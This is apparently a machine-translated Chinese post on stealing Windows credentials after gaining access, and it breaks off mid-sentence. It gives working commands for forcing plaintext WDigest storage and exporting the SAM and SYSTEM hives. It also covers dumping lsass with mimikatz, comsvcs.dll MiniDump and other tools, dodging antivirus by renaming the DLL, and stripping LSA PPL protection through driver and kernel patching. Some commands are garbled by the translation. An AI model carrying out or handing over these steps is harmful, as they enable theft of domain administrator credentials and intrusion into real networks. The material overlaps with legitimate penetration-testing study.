发布于2025年12月5日12月5日 获取当前机器的明文密码 在导出域哈希之前,我们可以尝试导出当前机器的本地哈希密码。如果域用户以前登录过本机,则可以直接获取域用户甚至域管理员的帐号。 在Windows操作系统上,sam数据库(C:\Windows\System32\config\sam)存储本地用户的哈希值。 在本地认证过程中,lsass.exe作为本地安全权限服务进程,也会将用户密码缓存在内存中(dmp文件)。 因此,这里我们可以考虑两种方式来捕获当前机器的hash:在线工具提取和离线分析提取。 注意:在Windows 10\2012r2之后的系统版本中,默认禁用在内存缓存中存储系统用户明文密码。这时候如果直接用mimikatz来抓明文的话,肯定抓不到。密码字段将直接显示为空。 这里我们手动修改注册表,保存纯文本,以便我们抓取。 (修改后需要注销用户并重新登录) reg 添加HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential /t REG\_DWORD /d 1 /f mimikatz mimikatz是法国人Benjamin开发的一款功能强大的轻量级调试工具。它最初是用于个人测试。但因其功能强大,能够直接读取Windows XP-2012等操作系统的明文密码,而以渗透测试而闻名。可以说是渗透的必备工具。 下载地址:https://github.com/gentilkiwi/mimikatz 1.通过注册表抓取hash 执行命令行获取当前系统注册表的SAM和SYSTEM文件(需要本地管理员权限) reg 保存HKLM\\SYSTEM Sys.hiv reg 保存HKLM\\SAM Sam.hiv 获取文件后,可以将其下载到攻击者的机器上,并使用mimikatz离线分析并提取哈希值。 mimikatz.exe 'lsadump:sam /sam:Sam.hiv /system:Sys.hiv' '退出' 该方法只能获取SAM文件中保存的本地用户帐户。 2. 将mimikatz上传到目标无人机中,并在线提取本地SAM文件中保存的账户哈希值。 特权:调试 令牌:提升 lsadump:sam 3.从lsass.exe的内存中提升权限哈希 mimikatz 'privilege:debug' 'sekurlsa:logonpasswords full' '退出' 发现使用本地用户的管理员权限捕获了登录本机的域管理员的哈希值。 pwdump7 直接运行PwDump7.exe即可 WEC 上传至目标无人机,添加参数,直接运行。 -l 列出登录的会话和NTLM 凭据(默认) -s 修改当前登录会话的NTLM凭证参数:用户名: 域名:LM hash :NT hash -r 不定期列出登录的会话和NTLM 凭据。如果发现新会话,则每5 秒再次列出它。 -c 使用特殊的NTML 凭据运行新会话参数: -e 不时列出登录会话和NTLM 凭据,并在发生登录事件时重新列出它们 -o 将所有输出保存到文件中参数: 文件名 -i 指定LUID 而不是使用当前登录会话参数: -d 从登录会话中删除NTLM 凭据参数: -a 使用地址参数:地址 -f 强制进入安全模式 -g 生成LM 和NT 参数密码的哈希值 -K 将kerberos 票证缓存到文件(unix 和windows wce 格式) -k 从文件中读取kerberos 票证并插入到Windows 缓存中 -w 通过摘要身份验证缓存明文密码 -v 详细输出 拉扎涅 下载地址:https://github.com/AlessandroZ/LaZagne 拉扎涅.exe 全部 SharpDump https://github.com/GhostPack/SharpDump 直接编译就可以了 ./Sharpdump LsassSilentProcessExit https://mp.weixin.qq.com/s/8uEr5dNaQs24KuKxu5Yi9w Silent Process Exit,即静默退出。这种调试技术可以导出werfault.exe进程,可以用来运行任何程序或者转储任何进程的内存文件或弹窗。 主要使用LsassSilentProcessExit API通过修改注册表+远程进程注入来转储内存。相关注册表键值: #define IFEO\_REG\_KEY 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\图像文件执行选项\\\\' #define SILENT\_PROCESS\_EXIT\_REG\_KEY 'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\' 使用远程进程注入让lsass.exe调用RtlReportSilentProcessExit函数本身: HMODULE hNtdll=GetModuleHandle(L'ntdll.dll'); RtlReportSilentProcessExit\_func RtlReportSilentProcessExit=(RtlReportSilentProcessExit\_func)GetProcAddress(hNtdll, 'RtlReportSilentProcessExit'); HANDLE hThread=CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD\_START\_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL); 但由于需要修改注册表,因此绕过防病毒环境几乎是不可能的。 LsassSilentProcessExit.exe 616 0 如何在敏感环境中转储lsass进程 使用powershell导出,无需上传文件 https://blog.csdn.net/chenfeng857/article/details/120126818 https://xz.aliyun.com/t/12157#toc-9 comsvcs.dll,系统自带。转储内存是通过comsvcs.dll的导出函数MiniDump实现的。 转储指定进程内存文件时,需要开启SeDebugPrivilege权限。具有管理员权限的cmd下,默认支持SeDebugPrivilege权限,但状态为Disabled。 如果直接在cmd下执行rundll32命令并尝试转储指定的进程内存文件,转储将会失败,因为无法开启SeDebugPrivilege权限。 但在具有管理员权限的powershell下,默认支持SeDebugPrivilege权限,且状态为启用。 首先查看lsass.exe进程PID 任务清单| findstr lsass.exe rundll32.exe comsvcs.dll MiniDump PID 路径完整 rundll32.exe comsvcs.dll MiniDump 1096 C:\\Users\\16229\\Desktop\\1.dmp full 如果直接运行,可能会被杀毒软件拦截。 一个简单的解决方法: 将comsvcs.dll复制到不敏感目录并随意命名,如test.dll 复制C:\\windows\\System32\\comsvcs.dll test.dll rundll32.exe C:\\Users\\16229\\Desktop\\code\_java\\test.dll MiniDump 1096 C:\\Users\\16229\\Desktop\\code\_java\\3.dmp full 只需将其拖至本地计算机并使用mimikatz 进行分析即可。 mimikatz.exe 日志“sekurlsa:minidump 2.dmp”“sekurlsa:logon密码已满”退出 开启runasppl的环境下 https://www.freebuf.com/articles/system/332506.html https://xz.aliyun.com/t/12157#toc-19 mimikatz 当PPL 保护打开时,即使管理员也无法打开lsass 进程。 mimikatz 'privilege:debug' 'sekurlsa:logonpasswords full' '退出' Mimikatzprivilege:debug中的命令启用成功; SeDebugPrivilege,但命令sekurlsa:logonpasswords 失败,错误代码为0x00000005。从minikatz代码中的kuhl_m_sekurlsa_acquireLSA()函数我们可以简单的理解为 处理hData=NULL; 双字pid; DWORD processRights=PROCESS_VM_READ | DWORD processRights=PROCESS_VM_READ | PROCESS_QUERY_INFORMATION; kull_m_process_getProcessIdForName(L'lsass.exe', pid); hData=OpenProcess(processRights, FALSE, pid); if (hData hData !=INVALID_HANDLE_VALUE) { //如果OpenProcess 正常 } 否则{ PRINT_ERROR_AUTO(L'内存处理'); } 使用进程资源管理器打开lsass进程查看,显示访问被拒绝。 在Mimikatz 中使用数字签名驱动程序从内核中的Process 对象中删除保护标志 minikatz安装驱动 特权:调试 !+ 移除保护 !processprotect /process:lsass.exe /删除 然后你可以转储密码 sekurlsa:登录密码 使用工具查看发现保护已被解除 mimikatz.exe 'privilege:debug' '!+' '!processprotect /process:lsass.exe /remove' 'sekurlsa:logonpasswords' '退出' PPL杀手 https://www.cnblogs.com/revercc/p/16961961.html https://redcursor.com.au/bypassing-lsa-protection-aka-protected-process-light-without-mimikatz-on-windows-10/ 优先级区分:只要PP的签名者级别大于或等于它,就可以打开具有完全访问权限的PP或PPL;一个PPL 可以打开另一个具有完全访问权限的PPL,只要其签名者级别大于或等于它;无论签名者级别如何,PPL 都无法以完全访问权限打开PP。 当PPL打开时,只有运行在较高保护级别的进程才能对受保护的进程进行操作。 Windows 内核使用_EPROCESS 结构来表示内核内存中的进程,其中包含一个_PS_PROTECTION 字段,该字段通过其Type (_PS_PROTECTED_TYPE) 和Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。 typedef 结构_PS_PROTECTION { 联盟{ UCHAR级别; 结构体{ UCHAR 类型: 3; UCHAR 审计: 1; //保留 UCHAR 签名者: 4; }; }; PS_PROTECTION,*PPS_PROTECTION; 尽管它表示为结构体,但所有信息都存储在单个字节的两个半字节中(Level 是UCHAR,或无符号字符)。前3 位指示保护类型(请参阅下面的PS_PROTECTED_TYPE)。它定义进程是PP还是PPL。最后4位表示Signer类型(参见下面的PS_PROTECTED_SIGNER),这是实际的保护级别。 typedef 枚举_PS_PROTECTED_TYPE { PsProtectedTypeNone=0, PsProtectedTypeProtectedLight=1, PsProtectedTypeProtected=2 PS_PROTECTED_TYPE,*PPS_PROTECTED_TYPE; typedef 枚举_PS_PROTECTED_SIGNER { PsProtectedSignerNone=0, //0 PsProtectedSignerAuthenticode, //1 PsProtectedSignerCodeGen, //2 PsProtectedSignerAntimalware, //3 PsProtectedSignerLsa, //4 PsProtectedSignerWindows, //5 PsProtectedSignerWinTcb,//6 PsProtectedSignerWinSystem, //7 PsProtectedSignerApp,//8 PsProtectedSignerMax //9 PS_PROTECTED_SIGNER,*PPS_PROTECTED_SIGNER; 如果我们想绕过LSA保护,我们可以通过修补EPROCESS内核结构来禁用LSASS进程上的PPL标志。为此,我们需要找到LSASS EPROCESS 结构的地址,并将5 个值:SignatureLevel、SectionSignatureLevel、Type、Audit 和Signer 修补为零。 EnumDeviceDrivers 函数可用于泄漏内核基地址。这可以用来定位PsInitialSystemProcess,它指向系统进程的EPROCESS结构。由于内核将进程存储在链表中,因此可以使用EPROCESS结构的ActiveProcessLinks成员来迭代链表并找到LSASS。 查看EPROCESS结构,我们可以看到我们需要修补的5个字段按照约定都与4个连续字节对齐。这允许我们在单个4 字节写入中修补EPROCESS 结构,如下所示: WriteMemoryPrimitive(Device, 4, CurrentProcessAddress + SignatureLevelOffset,0x00); 找到地址后,只需将这四个字节的值修补为零即可。 PPLKiller.exe /安装驱动程序 任务清单| findstr lsass.exe PPLKiller.exe /禁用PPL 688 如果遇到不同的内核版本导致程序无法正确修补四个字节,可以找一台相同版本的机器,通过windbg调试查看lsass内核地址。 bcdedit /debug onsrv\*https://msdl.microsoft.com/download/symbols .重新加载 !process 0 0 lsass.exe dt\_eprocess 找到地址0x6c0,修改脚本并编译。 PPL转储 https://itm4n.github.io/the-end-of-ppldump/ https://blog.scrt.ch/2021/04/22/绕过-lsa-protection-in-userland/ PPLdump是一个用C/C++编写的工具,实现用户模式漏洞利用,以管理员身份向PPL注入任意代码。这项技术是Alex Ionescu 和James Forshaw 对受保护进程(PP 和PPL)进行深入研究的众多发现之一。 PPLdump 的工作原理如下: 调用API欺骗CSRSS服务创建一个指向任意位置的Def
创建帐户或登录后发表意见